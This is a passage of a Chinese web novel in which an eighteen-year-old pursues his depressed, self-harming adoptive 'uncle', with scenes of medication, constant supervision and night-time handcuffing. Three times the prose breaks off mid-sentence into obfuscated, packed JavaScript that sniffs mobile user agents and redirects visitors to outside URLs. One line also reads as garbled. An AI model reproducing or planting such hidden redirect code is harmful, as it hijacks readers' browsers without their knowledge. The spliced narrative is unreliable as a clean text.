“你说过会一辈子呆在我身边。” “这个世界上没有事物是一成不变的,您在长大的同时,我也在慢慢变老。”哲森安慰他道:“我已经上了年纪,做很多事都开始力不从心了,没办法再继续照顾您。” 赵明庭默默掉着眼泪,一言不发,哲森知道他的性格就是如此,哄也哄不好,只能等他自己想开,于是就松开了手,将一块厚厚的毯子盖在他身上。 赵明庭踢开毯子,赌气地将自己反锁进了卧室,只留下哲森一个人在空旷的客厅。 哲森不禁叹了口气。 赵明庭出生的第三个月起,就被他带在了身边,这二十八年来,他亲眼看着他长大,出国,留学,毕业,白手起家,到后来能有如此成就,却也亲眼看着这个倔强的孩子渐渐变得沉默,内敛。 他离开之前,已经交代好了一切,却唯独放不下赵明庭,害怕他会因为自己的离开而更加抑郁,看到刚才赵明庭那副几乎要碎掉的样子,哲森也于心不忍,但他在管家这个位置上呆了太久,早就应该离开了。 赵明庭看着很坚强,很理智,但其实是个永远都长不大的孩子,哲森亲自将他养大,最清楚这一点,即使他已经快要步入三十岁,依旧是一副孩子心性。 什么时候才能长大呢。 哲森默默地想,什么时候赵明庭才能真正学会接受人生的别离? 他一直将自己困在那个可怕的梦境里,一直觉得是自己导致父母双双离去,觉得自己是灾星,会给所有人带来不幸,无论如何也不愿意主动走出这个噩梦,以至于长到现在,从未有过任何一段友情和爱情。 前段时间阿水医生发来了赵明庭的测验报告,情况又坏了很多,报告显示赵明庭已经从重度的抑郁有了转变成双相的趋势,再继续下去,会极大地提高他自杀的概率。 药也吃了不少,手术也做了不少,这些年来最顶尖的心理医生和精神科医生每个周都在定期监测跟进,赵明庭的病情却迟迟好不起来,反而越来越坏,怎能不让人担心。 哲森心里默默地想着,但愿这次回国,赵明庭和家人待在一起能够被治愈一些,就算情况不会变好,至少也不要再继续变坏了。 着实让人夜夜忧心。 * 寒假一转眼来临,经过了两个月漫长的等待,宋景初终于能见到他那位传说中的小叔了,去往山庄的路上,激动得连手机都不玩了,只一味地问司机还有多久才能到。 叶家山庄是当年叶父叶母留给赵明庭的遗产之一,独占一个山头,主庭院坐落在群山环绕的万花山底,叶家父母去世后,赵明庭被接到赵家,没怎么回来过,这座山庄于是便一直空置着,但每天都会有佣人打扫,因此依旧保持着原有的风采。 车辆驶入私人园区,下车后,眼前的风景也变得焕然一新,整座山庄是苏州园林式布局,曲通幽径,厅堂与庭院交错,建筑密集但布局精巧,让宋景初都不由得连连赞叹。 穿过廊厅,进入主厅后,司机离开,去将宋景初的行李送进了客房,宋景初独自呆在客厅,坐在茶桌前看着窗外的竹林。 今天的阳光很温暖,光线被竹叶分割成无数条,投射在窗前的木地板上,宋景初心想,住在这种地方的人,性格必定和水一样温柔,才能沉得住气,享受这般静谧的风光,于是好奇心便更重了,恨不得现在就见到他小叔,看看他究竟长什么样。 正当宋景初想的出神之际,身后忽然有人轻轻拍了一下他,他猛地一转头,映入眼帘的便是一张美的惊世骇俗的脸,恍然间如同仙女下凡一样,着实让宋景初吓得不轻。 赵明庭那张精雕细琢,如玉般温润的脸庞,在温和的光线下更显风情万种,一双眉眼温柔似水,右眼下还点缀着一颗不明显的小泪痣,双唇殷红,鼻梁高挺,光滑洁白的皮肤上看不出一丝岁月的痕迹,却能从他的身上感受到时间沉淀下来的稳重。 宋景初一瞬间心脏都不跳了,呆愣地看着赵明庭那张堪称倾国倾城的脸,脸不自觉地就红了。 “怎么了,发烧了吗?”赵明庭伸出手,轻轻覆在宋景初的额头,宋景初感觉一块冰凉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442901|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝绸盖在了自己的头上,与此同时扑面而来的是一股淡淡的清香。 太,美,了。 美到宋景初当场失语,只是怔怔地盯着赵明庭的脸不肯移开目光,如果明天死掉,他心甘情愿,因为他今天已经看过了神仙的样子,此生再无遗憾了。 宋景初心想。 “好像真的有点烫。”赵明庭收回了手,转身去了洗手间,将一块丝绸手帕打湿,回来后盖在了宋景初的头上。 宋景初回过神来,自己已然被当成了病人照顾,着实有点儿尴尬,于是匆忙将手帕取下放在桌上红着脸道:“我,我没事,就是有点儿热。” “辛苦你来照顾我了。”赵明庭将手帕拿起,俯下身擦了擦宋景初的脸:“擦一擦吧,这样就不会太热了。” 宋景初一瞬间红得更厉害了,几乎要烧起来了。 一个男人的手,怎么能嫩成这样,连关节都是粉色的! 二十八岁,比他十八岁还要嫩,光看这张脸,说他小叔比他还小他都相信! 赵明庭今天穿着一条垂感很好的白色西装裤,上身是一件宽松的低领白色毛衣,长发低扎在一侧,俯身的时候,胸口一片春光只被几缕发丝半遮半掩着,能被宋景初一览无余,宋景初刚看了一眼就瞬间闭上了眼,羞得头都抬不起来了,只手抓住了赵明庭替他擦脸的手,磕磕巴巴道:“谢,谢谢小叔,我先去收拾一下行李,失陪了!” 随后便起身,逃一般地离开了茶桌。 回到客房之后,宋景初按着疯狂跳动的心脏,连站都站不稳了。 他小叔这张脸,18岁和28岁简直一模一样,连皱纹都没多过一条,动态的美人冲击力要远大于视频里的样子,那只手抚上他的脸之前,先到来的是竹叶的清香,随后才是小叔温柔的抚摸…… 我操啊。 怎么能有人长成这样。 他真是刚出新手村就遇见顶级魅魔,拼尽全力无法抵挡,对方只要稍微勾勾手指,他就立刻被迷的连路都找不到。 太美了,太美了。 美得惊天地泣鬼神,美得他匡匡撞大墙。 半个小时后,宋景初换了身衣服从客房出来。 赵明庭坐在窗前的茶桌上,正悠闲地看着一封纸质信。 宋景初走过去,刚坐在茶桌前,赵明庭就抬起了头对着他轻轻笑了一下:“去洗澡了吗?” “……嗯。”宋景初尴尬得恨不得钻到地下。 “冷水?” “……嗯。”宋景初牙都要咬碎了。 “家里确实有点儿热。”赵明庭眯着眼睛笑,笑起来像只狡黠的小狐狸,“但也不能贪凉。” “知道了,小叔……”宋景初穿着一条黑色阔腿长裤,搭了一件高领黑色毛衣,腰间还绑了一件白色薄外套。 赵明庭不必多想都知道发生了什么,他在这方面第六感一向很准,任何觊觎他的人,只要有一丁点儿心思都能被他发觉。 他什么都知道。 宋景初尴尬了半天,心道赵明庭大他这十岁还真不是白长的,一眼就能看破他,却还不直接点出来。 赵明庭闲着也是闲着,觉得逗小孩玩也挺有意思的,于是便问道:“景初长这么帅,在学校有没有交女朋友啊?” “没,小叔,我不喜欢女生。”宋景初的性取向是打小就觉醒的,家里人也都知道,所以想瞒也瞒不住,还不如说实话。 “喜欢男生啊。”赵明庭笑着问:“喜欢什么样的男生?” “你。”宋景初红了脸,老实回答:“你这样的……” “那你喜欢我吗?” “喜欢!”宋景初捂住了脸:“小叔你别问了,你肯定听我爸妈说过我要追你,你还一直问我。” 赵明庭眨了眨眼睛,“真的不问了吗?你难道不想知道我喜不喜欢你吗?” “?”宋景初瞬间抬起头:“想想想想想!” “我……算了,不说了。”赵明庭重新拿起信纸,淡淡道:“小叔年纪大,和你们年轻人有代沟。” “这能有什么代沟啊?!”宋景初瞬间炸毛了:“小叔求你了,告诉我好不好?求求你了求求你了求你可怜可怜我,告诉我好不好?” 赵明庭微微一笑:“不好。” 宋景初哀嚎。 5. 第 5 章 “小叔,不带你这么玩的啊!我都对你掏心掏肺了,你就不能可怜可怜我,然后告诉我吗?” 赵明庭气定神闲道:“不可以。” “真的不可以吗?” “真的。” 宋景初的自来熟已经熟到了极致,稍微多和对方聊几句就能抛弃了自己的害羞脸红,转而变得脸皮和城墙一样厚,得不到自己想要的答案,于是便换了个问法,厚着脸皮道:“好吧,那小叔你能告诉我你喜欢什么样的男人吗?我努力往那方面发展一下。” “也不可以,保密。” “那你的兴趣爱好呢?” “保密。” “最喜欢的颜色?” “保密。” “……”宋景初无奈地趴在桌子上,叹了口气道:“小叔,我觉得爸爸说的对,你真的很难追。” “那你要放弃吗?” “不要。”宋景初直白道:“实不相瞒,小叔,我第一次见到你就已经认定你了,绝对不会放手,就算你再难追,我也要把你追到手。” 赵明庭渐渐收起了笑:“可我是你小叔。” 宋景初认真分析道:“这件事我和爸妈讨论过,虽然我们是叔侄,但是并没有任何实质上的亲缘关系,我们两个的关系就像玫瑰姨母和姨夫一样,既然他们都可以在一起,结婚,生子,为什么我们不可以?” 赵明庭迟疑道:“景初,话虽如此,可是在我眼里,你还是个孩子,而且……” “而且什么?” 赵明庭不知道想到了什么,眼神一瞬间就暗淡了下来:“我认为像我这样的人,不配和你在一起。” “我不小了,小叔,我已经成年了,可以自己做主了,我知道我在做什么。”宋景初看着赵明庭的脸,一字一句地认真道:“而且,是我不配和你在一起,现在的我确实太过稚嫩,对你还很不了解,不过你放心,从今天起,我会寸步不离跟在你身边,了解你的所有,我知道你生了病,没关系的,我会照顾你,你不用怕,有我在,我会为你摆平一切!” “听起来确实很让人心动。”赵明庭虽然笑着,眼神却有些闪躲,摇了摇头道:“不过还是算了吧。” “为什么啊?!”宋景初急得都快要站起来了。 赵明庭并未确切回答,只是平淡地叹了口气:“抱歉,你对我一无所知,我不能害你。” “小叔,不要这样说自己。”宋景初起身,单膝跪在赵明庭身前,将赵明庭的手紧紧握住。 赵明庭的耳朵瞬间罕见地发红了,手也在微微地颤抖,语气仍旧带着几分低落,短暂地沉默过后,他道:“这是事实,我就是这样一个人,景初,我相信你的父母一定告诉过你关于我的病情。” “可是我不在乎,小叔,我看人一向很准,第一次在视频里见到你的时候我就知道,你一定是一个很好的人。” 赵明庭一歪头,疑惑地看着他:“什么视频?” 宋景初瞬间有点儿小尴尬,挠了挠头道:“哎呀不重要不重要,总之我要告诉你的就是,小叔,不管你怎样贬低自己,我都不会相信的,一个字也不会信,说了要追你,我就一定要把你追到手。” 赵明庭一时间无言以对,只能神情复杂地看着宋景初。 他想起从前,有很多人都曾对他展露过真心,像宋景初一样热情,真挚,然而最终他们得到的结果,都是被自己伤害到无路可退,彻底崩溃。 他是不合格的恋人,不配拥有别人的真心,所以他一直不愿接受任何人的告白。 一时间,空气仿佛都凝滞了,良久,赵明庭才终于有所动作,将自己的手从宋景初的手里抽出。 “我,不知道该说些什么。” 赵明庭发觉自己好像有点儿玩脱了,最开始他只是想逗一逗这个可爱的侄子,并未将对方笨拙的告白放在心上,却没想到对方的爱如此真挚热烈。 于是他忽然有些手足无措了。 他知道自己的情况,了解自己的内心,以他现在的状态去和宋景初谈情说爱,对宋景初来说是一件很残酷,也很不平等的事,或许宋景初可以给他很真诚,很全力以赴的爱,而他却做不到以同等重量的爱去回应。 这对宋景初来说是极不公平的。 他不想这样对待一个可爱的孩子,不想糟蹋这个孩子的一片真心。 于是他起身,茫然道:“抱歉,我需要冷静一下。” 不等宋景初再说些什么,便逃一般快步上了楼,径直将自己关进了卧室,独留下宋景初一人跪在原地,手心里还留存着赵明庭掌心的温度。 冰凉的,如玉一般,如心一般的温度。 赵明庭进了卧室,将门反锁,本以为宋景初会知难而退,然而他还是小看了宋景初厚脸皮的程度,连一分钟的时间都不到,房门就被敲响。 宋景初在门外高声道:“小叔,三十秒之内你不开门的话我就要撬锁了。” 话音刚落,宋景初就开始在门外倒数,眼看着倒数的时间越来越少,赵明庭竟然头一次有了紧张的感觉,皱起眉头紧紧地盯着那扇门,心跳也不由自主地加快。 倒数到三的时候,宋景初摩拳擦掌,都准备一脚将门踹开了,没想到赵明庭却忽然自己打开了门。 “景初,我想静一静……”赵明庭抖着手,满眼委屈地看着对方。 宋景初一看见赵明庭这副样子就没招了,他放轻了声音,耐心解释道:“小叔,对不起,但是我妈妈叮嘱过我,绝对不可以让你独自呆着,无论你走到哪里都要紧紧看住你。” 赵明庭无奈道:“那我睡觉的时候呢,你也要盯着我吗?” “当然了,万一你一个人呆在卧室里忽然不高兴,伤害自己怎么办?”宋景初牵起赵明庭的手,心疼地摸上了他手腕处微微凸起的增生:“不要伤害自己,不高兴你就打我好吗,我一直都在你身边。” 赵明庭被宋景初这副真诚的模样逗笑了,心情忽然就阴转晴,他道:“可是我舍不得打你。” “哎呀这有什么。”宋景初一个打横将赵明庭公主抱抱在怀里,连着做了十几个深蹲,又平稳地将赵明庭放回地上,拍了拍自己结实的肩膀:“我可是大男子汉,你打我两下能有多疼?再说了,我喜欢你,你打我我也心甘情愿,只要你能开心,拿我当沙包打我也愿意。” 赵明庭扶着门框,有些目瞪口呆地看着宋景初。 他总算理解栀栀姐为什么会专门写信告诉他,小心宋景初的厚脸皮。 然而这还不算什么。 晚上的时候,赵明庭吃完药,刚准备躺下睡觉,宋景初就穿着睡衣,抱着自己的枕头,大摇大摆地进了他的卧室。 赵明庭满脸震撼。 他道:“你,要干什么?” 宋景初咧嘴一笑:“当然是陪你睡觉啦。” “一定要这样做吗?” “小叔,家母有令,儿臣不得违抗啊。”宋景初将自己的枕头放在赵明庭的枕头旁边,一蹦上了床,自然而然地盖上了赵明庭的被子,还顺手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442902|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮赵明庭关了灯,最后又从睡衣口袋里掏出一副包了一圈毛绒的皮质手铐,将赵明庭的双手拷了起来,还把赵明庭搂进了自己怀中,摸了摸他的头。 赵明庭彻底傻眼了。 他见过脸皮厚的,但是厚成这样的真的是第一次见。 宋景初将赵明庭抱在自己怀中,不禁感慨了一句,他小叔窝在他怀里真的好小一只,好可爱啊,软软的,热乎乎的,像一只可爱的小猫。 正当宋景初沉浸在幸福之中时,赵明庭在黑暗里从被子中钻出了一颗脑袋。 “你哪里来的手铐?” “阿水医生给我的。”宋景初将人紧紧抱在怀里蹭了蹭:“他说平常照看你睡觉的哲森管家不在了,以防万一,最好每天晚上都把你的双手锁起来。” 之前哲森在的时候,每天晚上都会照看他吃药,躺下,直到彻底熟睡,前段时间,哲森将他和医疗团队送回国后,就回到了伦敦老家养老躺平,这个任务就交给了管家江夏,现在宋景初来了,任务自然而然地就落到了宋景初头上。 下午的时候,江夏替宋景初照看了几个小时,让宋景初去休息,宋景初闲着没事,就去庭院里吹风,正好遇到了同样出来放松心情的阿水医生。 两人闲聊了几句,谈话间,宋景初一得知对方是赵明庭的主治医师,立马就来劲了,拉着阿水坐在湖心亭就是一顿狂聊,离别的时候,阿水带着宋景初去了别院,将这副手铐交给了宋景初,还将赵明庭平时吃的所有药整理成一张单子,叮嘱宋景初一定要注意赵明庭吃药的药量,必须严格按照这张单子上的剂量吃,不能多也不能少。 赵明庭听完前因后果,心里默默给阿水打了个差评。 这副手铐真的让他很羞耻,尤其是铐着自己的人是比自己小十岁的侄子,更是让自己羞耻心爆表。 他178的身高,在男生里并不算矮,但在191还爱健身锻炼,人高马大的宋景初面前,就跟一个小手办一样娇弱。 被对方抱在怀里,整个人都无处闪躲,只能紧贴着对方的胸膛,赵明庭一开始着实害羞到止不住地絮絮叨叨,一会儿转过来又转过去,一会儿想偷偷逃走,却被宋景初轻而易举地拽了回来。 本以为今夜会彻夜难眠,可渐渐地,听着对方平稳有力的心跳声,不知为何,他竟莫名从中感到了一丝安心,想着乱七八糟的事情,想着想着就睡了过去。 平常至少要辗转反侧好几个小时,今天居然不到半个小时就奇迹般地昏睡了。 而且睡得很香,一夜无梦。 温暖柔软的被窝和令人安心的臂膀,还有对方身上好闻的沐浴露的清香。 很久都没有睡过这么好的觉,以至于第二天醒来的时候,赵明庭居然难得赖床了。 一方面,是他属实睡得太舒服了,有些不愿起床,另一方面,宋景初起的迟,还将他紧紧抱在怀中,让他想起也起不来,只能跟着一起赖床。 赵明庭睡饱了,宋景初却还在睡。 于是他只能无聊地盯着天花板发呆。 正发呆到一半,忽然整个人都被抱紧,赵明庭还没反应过来发生了什么,脸颊上就忽然被用力亲了一下。 “好可爱……” 宋景初将他搂进怀里,一边笑着,一边又连着亲了好几下。 赵明庭人都被亲懵了,等回过神来,第一反应就是艰难抬起手,对着宋景初的脸就是响亮一巴掌。 宋景初瞬间清醒,刚准备发作,转头一看怀里的美人,直接就熄了火。 6. 第 6 章 “怎么了,不高兴吗?”宋景初摸了摸自己的脸,颇有些回味犹存,他心疼地握住了赵明庭的手:“疼不疼?” 赵明庭匆匆抽回自己的手,难得脸上露出了局促的表情:“别,别这样。” “撩拨我的时候一点儿都不害羞,被我撩两下脸就红成这个样子。”宋景初挑眉,笑望着赵明庭的双眼,赵明庭尴尬地起身,连手铐都没打开就下地逃走了。 宋景初望着那人溜得飞快的背影不禁笑出了声,感慨赵明庭实在像一只傲娇的小猫。 在床上赖了一会儿,宋景初也起了床。 慢慢悠悠地下了楼,映入眼帘的就是被捆着双手的美人站在茶桌前艰难地给自己泡着茶。 宋景初上前,从赵明庭手中自然地夺过茶壶,又将手中的钥匙递给赵明庭。 “小叔,这种事情让我来做就行。” 赵明庭接过钥匙,给自己打开手铐之后,第一件事就是拽住了宋景初的衣角,他道: “景初,你能不叫我小叔了吗?听起来怪怪的……” “好像也是。” 他现在正在追求赵明庭,一直叫小叔实在有点儿膈应。 一来两人并无实质亲缘关系,甚至八竿子打不着,只是因为赵颜薇和他是表兄妹,他不知道如何称呼是好,才跟着赵颜薇叫小叔,二来叫小叔显得他关系不远不近,直接从嫡长夫被贬成了庶侄子,他才不要。 赵明庭闻言,无奈道:“谁封你做嫡长夫的?” “我自封的。”宋景初得意一笑,将钥匙从赵明庭捏紧的拳头里扣了出来,顺手将热茶递给赵明庭:“不让我自封嫡长夫,那你说,我应该叫你什么?” 赵明庭并未接过热茶,反而眨了眨眼睛,认真地看着宋景初道:“你想叫我什么?” 宋景初试探地看着他,叫了一声。 “明庭?” 赵明庭不说话,只是眉眼弯了弯。 宋景初也笑了,将茶杯递在赵明庭嘴边,赵明庭就着他的手喝了一口,微微点了点头,转身就离开了,临走的时候幽幽道:“随便你。” 这就是默许了。 宋景初如此理解,并牢记于心。 上午的天有些阴沉,先是嘀嗒了几滴雨点,不一会儿就倾盆而下,还混杂着些许雪粒,宋景初坐在茶桌前写作业,赵明庭就坐在他对面修改合同文件。 两人都在安安静静地做着自己的事,谁也不打扰谁,直到下午的时候,班主任发来一个文档,宋景初点开,发现是高频词汇八百词默写,瞬间哀嚎出声。 “我不想活了。”宋景初合上电脑,一头磕在桌子上。 “怎么了?”赵明庭不明所以地看着垂头丧气的宋景初。 “班主任发过来一个默写文档,八百个高频词,每天默写一遍,直到全部正确为止。”宋景初哭丧着脸道:“这么多词,我怎么可能全部默写对啊。” 赵明庭一脸了然于心的模样点了点头:“你的英文水平的确很低。” “你怎么知道?” “因为你发给我的邮件语序混乱,用词错误,语法也没几句对的。”赵明庭打开宋景初的邮件,电脑一转,将屏幕上那封蹩脚英文写的告白信展示给宋景初看。 宋景初一开始还在疑惑赵明庭究竟在说些什么,直到眯起眼睛看见屏幕上自己的邮箱,以及邮件熟悉的内容时,瞬间就睁大了双眼,倒吸了一口凉气。 “你为什么会有这个?!!”宋景初不可置信地看着赵明庭。 “你自己发给我的。”赵明庭适时点评了一句:“want be your hasband,你倒是挺有理想的。” “不是,什么叫我自己发给你的?我明明发给的是一个老外啊,我明明……”宋景初呆愣在原地,头脑里疯狂闪过一万种可能,最终他选出了一种最不可能,却也是最有可能的结果,颤抖着嗓子开口问道:“这个邮箱……是你的?” “不然呢?”赵明庭一脸疑惑地看着宋景初:“我倒是很想问你,是谁告诉了你我的邮箱,你父母吗?” “不。”宋景初一时还是有点儿震惊,他随随便便在英语试卷上看见的邮箱,居然是赵明庭的,更恐怖的是他胡言乱语了那么多,居然全部都让赵明庭看见了,还包括那封情书! “那你是哪里得知的,难不成你调查我?”赵明庭歪着头,兴致勃勃地看着宋景初茫然无措的模样,忽然觉得他很像一只金毛犬,毛茸茸的,傻乎乎的,还有些憨态可掬。 “说出来你可能不会信,但这确实是真的。”宋景初尴尬地挠了挠头,坦白道:“这个邮箱是我在英语写作题里看见的,我好奇是不是真的有这个邮箱,所以才发了一堆乱七八糟的信息……” “这样啊。”赵明庭抿嘴一笑:“那I love you呢?也是胡说的吗?” “这个不是,这个是……怎么说呢,我当时和颜薇要来了关于你的视频,看完之后就喜欢上你了,所以就……” “所以就发给了我。” “我也不知道那是你啊,我当时还想着发过去看看老外能不能看得懂,谁知道歪打正着,被你看到了。”宋景初不好意思地偏过了头:“我英语学的差,能写到这种程度已经很努力了。” “确实。”赵明庭合上电脑,起身绕过桌子,坐在了宋景初身边,他拿起宋景初的电脑,大致扫了一遍八百词,不知道是想到了什么,忽然开口道:“你从颜薇那里要了我的什么视频?” 宋景初老实道:“你抱着比熊的,还有过圣诞节的。” “好久远啊,那都是我年轻时候拍下的视频了。” 赵明庭只手撑在桌子上托着脸,不去看着宋景初的目光,只留下一个侧脸,他道:“我很喜欢记录生活,因为记忆力很差,不记录的话很容易忘记自己做过的事。” 宋景初敏锐地提取到了关键词。 “也就是说,你还有很多视频?” “想看吗?” “想!”宋景初激动地抓住赵明庭的手放在自己的胸前:“我想看,明庭,我想再多了解你一些,求求你给我看好不好?” 赵明庭慢条斯理地抽回自己的手。 “有条件。” “什么条件,我都答应!” “八百个词,全部默写正确。” 宋景初没有丝毫犹豫,瞬间来了干劲。 “一言为定!” 赵明庭笑着看他:“我从不失约。” 话音刚落,宋景初便从一叠厚厚的本子中抽出了一本空白的,打开之后,拿起笔就是对着文档一顿抄写,赵明庭满意地看着宋景初努力的样子,感慨还是激将法好使。 都说没过门的姑爷堪比生产队的驴,照宋景初这架势,属实是没名分的男友也和驴子不相上下。 努力抄写了三个小时的宋景初丝毫不觉得累,抄完之后默背了一会儿,就自信满满地抽了张空白a4纸,将文档递给赵明庭。 “来吧,开始考我吧。” 赵明庭点了点头,念出了第一个单词:“变化。” 宋景初手一顿,心道赵明庭果然不会按顺序考,真是个严格的老师。 好在他强大的短时记忆力也不是浪得虚名,思考了不到三秒就自信写下develop。 他抬头,看向赵明庭,只见赵明庭微微皱了皱眉头。 宋景初瞬间心中警铃大作。 写错了吗?不应该啊,这么简单的单词他会错吗?他明明记得就是这么写的! 不等他思考,赵明庭边已经开口念下第二个单词,宋景初根本没时间思考对错,匆匆忙忙跟着赵明庭的进度默写,一场默写结束之后,宋景初手心都堆满了汗,认认真真检查了好几遍之后,对着develop犹豫了半天,最终还是坚定自己的直觉。 将答卷交给赵明庭之后,宋景初紧张地坐在赵明庭身旁盯着,第一个单词develop果然是对的,宋景初不由得松了口气,庆幸自己还好没上赵明庭的当。 每当赵明庭在单词上打上一个错号,宋景初的心就狠狠地痛了一分,改到后来,就连赵明庭都有些不忍心了,拍了拍宋景初的肩膀安慰道:“没关系,我们还有很多时间。” 宋景初泄了气,欲哭无泪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442903|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趴在桌子上开始怀疑起了人生。 最终,宋景初以800词错了325个词的菜鸟成绩遗憾离场,不仅没拿到视频,还被赵明庭盯着将错了的单词抄了五遍。 抄完之后天都黑了,宋景初的手也已经酸得不行,趴在桌子上死活要让阿水医生给他看看心理问题,说他的小心脏受了伤,必须要让阿水医生治疗一下,要不然赵明庭亲他一下也行。 赵明庭被逗笑了,一个电话将追剧的阿水从别院叫到主宅,进门的时候阿水甚至还端着一盆减脂餐,正啃菜叶啃得起劲。 “明庭,你真的要这么残忍地对我吗?”宋景初死死抱着赵明庭的胳膊不愿撒手,最终却还是被赵明庭从身上扒了下来。 赵明庭站在卧室门前笑得温柔好看:“阿水医生很专业的,她一定能安慰好你受伤的小心灵。” 话音落毕,卧室的门也跟着关上。 宋景初径直坐在卧室门前,说什么也死赖着不走。 阿水无奈,也只能跟着坐在地上,好在家里的地暖很热,寒冬腊月的,不至于让两人难熬。 阿水端着碗,看着宋景初那副正宫的架势,实在是觉得有些好笑,于是便笑着问:“你就没发现他一直在钓着你吗?” 宋景初正小发雷霆,猛然间听见阿水说这话,瞬间抬起头惊讶地看着阿水,愣了一小会儿,他回道:“隐约感觉到了,但是我不太敢确定。” 毕竟他还没有自信到认为赵明庭会一眼就爱上他,然后对他进行蓄意勾引。 “我跟你讲哦,赵先生这个人很有趣的,他遇到喜欢的东西永远不会主动说,而是会想方设法让别人买给他,给人一种是别人非要塞给他,他无可奈何才收下的感觉。”阿水咬了一大口生菜,囫囵道:“对于喜欢的人也是这样。” “难怪呢。”宋景初回想了一下和赵明庭相处的所有细节,一拍脑袋,恍然大悟,忽然感觉所有事情都能说的通了:“我说他第一次见我的时候怎么故意撩拨我,结果我刚表完白他就拒绝我,还跟我卖惨,我当时还觉得他有点儿奇怪,情绪转变居然这么快。” 这哪里是精神病人,简直就是奥斯卡影帝啊。 “我就知道他会在你面前装柔弱。”阿水一副早就习惯了的模样,面无表情地扒掉了赵明庭的底裤:“这是他惯用的伎俩,他很擅长把自己伪装成柔弱不能自理的样子,以此来激发对方的同情心,从而达到自己的目的,你要小心点哦。” 宋景初眨巴着眼睛,疑惑地挠了挠头:“为什么要小心?” “因为他不喜欢吃药,很有可能会在你面前卖惨装乖,你要牢记,无论他怎么说怎么做,你都得盯着他把药吃下去。” 宋景初闻言笑道:“他怎么和小孩子一样?” 阿水认同地点了点头:“对呀,很可爱吧,别看他比你年长了十岁,实际上还是个孩子心性,特别傲娇,在国外的这些年,我和哲森为了照顾他,耗费了不少心力呢。” “是吗?我觉得还好啊。” 阿水叹了口气:“那是因为他现在正处于稳定期,等你遇上他的发病期,你就会明白他身边为什么需要有个人二十四小时无死角监护了。” “那还在这儿闲聊什么啊,他都一个人呆在卧室里快三分钟了,万一他吞药了怎么办?割腕了怎么办?”宋景初连忙从地上爬起,挥了挥手让阿水躲开,他大声对着门内道:“明庭,开门,不然我就要踹门了!” “明庭,明庭,开门!” “明庭!” 门内无人应答。 宋景初的心一瞬间就提到了嗓子眼,他后退一步,蓄力三秒,一脚就将木门踹爆。 门内的赵明庭正坐在床上发呆,陡然间听见一声巨响,紧接着就被冲进来的人影紧紧拥抱在怀里,差点儿连气都要喘不上来了。 他目瞪口呆地看着被踹烂的门,最终只是无可奈何地苦笑了一下。 “宋景初,我的门很贵的。” “我赔你一千扇。”宋景初将人抱得更紧,几乎是有种劫后余生的感觉,他一下又一下拍着赵明庭的背,像是在安抚他,更像是在安抚自己。 7. 第 7 章 赵明庭叹了口气,心想明天要拜托师父来修门了,他很不喜欢自己的私人空间被陌生人打扰,可这扇门又不得不修。 “你刚才在做什么?为什么不开门?”宋景初将人抱得很牢,任凭赵明庭如何挣扎都无济于事。 于是他放弃了挣扎,安安静静地窝在了宋景初怀里。 “我忘记了。”赵明庭回答。 阿水在一旁适时补充道:“赵先生由于长期服用精神类药物,记忆力减退很严重,你也要多加注意哦。” “怎么会这样?”宋景初一脸凝重地看着阿水道:“必须要吃药吗?不吃不行吗?” “不可以。”阿水解释道:“赵先生的病情最近加重了,等这段时间的断药期结束之后,需要终身服药。” 宋景初一听见终身两个字,直接就炸了毛,他将赵明庭抱得更紧,眼里满是心疼,眼泪都已经在眼眶里打转了,赵明庭瘪了嘴,满脸不高兴地看着阿水道:“你别说的那么严重,吓到他了。” “赵先生,你迟早都要学会接受和面对事实。”阿水一摊手,无奈笑道:“说实话,你真是我遇见过最难治疗的病人。” “哪有那么夸张?”赵明庭回避着阿水的目光,将头埋进宋景初的颈窝,闷闷道:“我明明一直都在很积极地配合治疗。” 声音不大不小,像是在说给阿水,又像是在故意说给宋景初听。 “那你接下来也要好好配合治疗哦。”阿水幽幽道:“希望你说到做到。”话说罢,就端着碗转身出门回家睡觉。 赵明庭看着阿水离去的背影偷偷做了个鬼脸,被宋景初察觉到了,宋景初捏着赵明庭的肩膀,强行将赵明庭的脸掰正对着自己,义正言辞道:“从今以后,你绝对不能离开我的视线,半秒也不行!” “好霸道啊。”赵明庭只手捧上他的脸,戏谑着笑道:“你干脆把我绑起来吧,绑在你身边。” 宋景初一挑眉:“你以为我不敢?” “你敢,你什么都敢。”赵明庭垂下眼,做出一副颇为伤神的模样,自怨自艾道:“只是可怜了你,白白浪费了时间,照顾我一个活不久的病人。” 宋景初捏住了赵明庭的下巴,语气有些严肃。 “赵明庭,不准这样说自己。” “好疼。”赵明庭被捏成了一只仓鼠,极为不满地看着宋景初:“你放手!” “你什么时候答应我,我就什么时候放手。” “答应你什么啊?” “从今以后,不准再说这种话,一个字也不准。” 